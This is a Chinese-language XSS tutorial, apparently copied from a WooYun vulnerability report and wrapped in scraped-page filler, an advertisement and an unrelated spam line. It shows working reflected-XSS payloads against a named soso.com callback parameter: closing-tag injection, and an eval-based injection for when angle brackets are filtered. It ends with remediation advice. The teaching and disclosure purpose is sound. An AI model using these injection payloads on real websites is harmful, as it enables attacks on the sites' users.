<ruby id="bdb3f"></ruby>

    <p id="bdb3f"><cite id="bdb3f"></cite></p>

      <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
        <p id="bdb3f"><cite id="bdb3f"></cite></p>

          <pre id="bdb3f"></pre>
          <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

          <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
          <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

          <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                <ruby id="bdb3f"></ruby>

                合規國際互聯網加速 OSASE為企業客戶提供高速穩定SD-WAN國際加速解決方案。 廣告
                # 2\. 輸出在`<script></script>`之間的情況 > [2\. 輸出在`<script></script>`之間的情況](http://www.wooyun.org/bugs/wooyun-2010-015959) ## 簡要描述 接著上面一個教程,我們繼續。這個例子屬于第一例的特殊情況,當然也有特殊解法。也屬于非常常見的一種情況。 ## 詳細說明 1\. 我們找到這么一個點,也是輸入和輸出都未過濾的一個點。相比教程第一例,其特殊之處在于,是輸出在了 `<script>[輸出]</script>` 之間。 ``` http://activity.soso.com/common/setParentsInfo.php?callback=aaaaaaaaa ``` 如下圖:callback 參數未做過濾。 在【查看源代碼】下,我們可以看到。 ![image](https://box.kancloud.cn/2016-03-23_56f2503c7c08d.jpg) 缺陷網頁源代碼: ``` <script type='text/javascript'>document.domain='soso.com';_ret={"_res":2};try{parent.aaa(_ret);}catch(err){aaa(_ret);}</script> ``` 2\. 碰到這種情況,我們一般有以下解法。 2.1 首先判斷,是否過濾了 `<` , `>` , `/` 等符號, ![image](https://box.kancloud.cn/2016-03-23_56f2503c96e8c.jpg) 2.2 如果都沒有過濾,恭喜你,一般可以直接 XSS 了。代碼如下: ``` http://activity.soso.com/common/setParentsInfo.php?callback=aaaaaaaaa</script><script>alert(1)</script> ``` 原理入下圖: 構造 callback 參數后的源代碼 ``` <script type='text/javascript'>document.domain='soso.com';_ret={"_res":2};try{parent.aaaaaaaaa</script><script>alert(1)</scri pt>(_ret);}catch(err){aaaaaaaaa</script><script>alert(1)</script>(_ret);}</script> ``` 2.3 如果過濾了 `<`, `>`,那么就無法使用上面的辦法了。我們接著看 3\. script 代碼里的構造。 友情提示:這里可能需要一點點 javascript 的知識才行哦~~ 我們可以如下構造: ``` http://activity.soso.com/common/setParentsInfo.php?callback=eval('alert(1)');void ``` 可以看到,源代碼是下面的樣子。 ![image](https://box.kancloud.cn/2016-03-23_56f2503cae224.jpg) 也就是說,我們插入的內容,使得這一段 javascript 依然【語法正確】,能夠【正確執行】,并且能夠執行【我們所插入的 JS 代碼】, 這樣我們的目的就達到了。 構造后的源代碼如下: ``` <script type='text/javascript'>document.domain='soso.com';_ret={"_res":2};try{parent.eval('alert(1)');void(_ret);}catch(err){ eval('alert(1)');void(_ret);}</script> ``` 4\. 這種輸出在 JS 代碼里的情況十分常見,但是呢?不幸的是,像這樣沒過濾的情況,卻不是很常見。例如: `var a="[輸出]"; //` 通常程序員會把 " 過濾掉, 這樣的話,一般來說,我們就很難構造。 但是,這并不是說,就一定是不能利用,后面我們會拿騰訊一些【比較有意思】的例子,來進一步說到 這個【輸出在 js 里】的情況的~ ## 修復方案 這類 XSS 的模型通常是: ``` <script>...[輸出]...</script> <style>...[輸出]...</script> ``` 解決方案: 1\. 過濾 `</xxx>` 組合 2\. 針對輸出在不同的場景,進行合適的過濾。
                  <ruby id="bdb3f"></ruby>

                  <p id="bdb3f"><cite id="bdb3f"></cite></p>

                    <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
                      <p id="bdb3f"><cite id="bdb3f"></cite></p>

                        <pre id="bdb3f"></pre>
                        <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

                        <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
                        <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

                        <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                              <ruby id="bdb3f"></ruby>

                              哎呀哎呀视频在线观看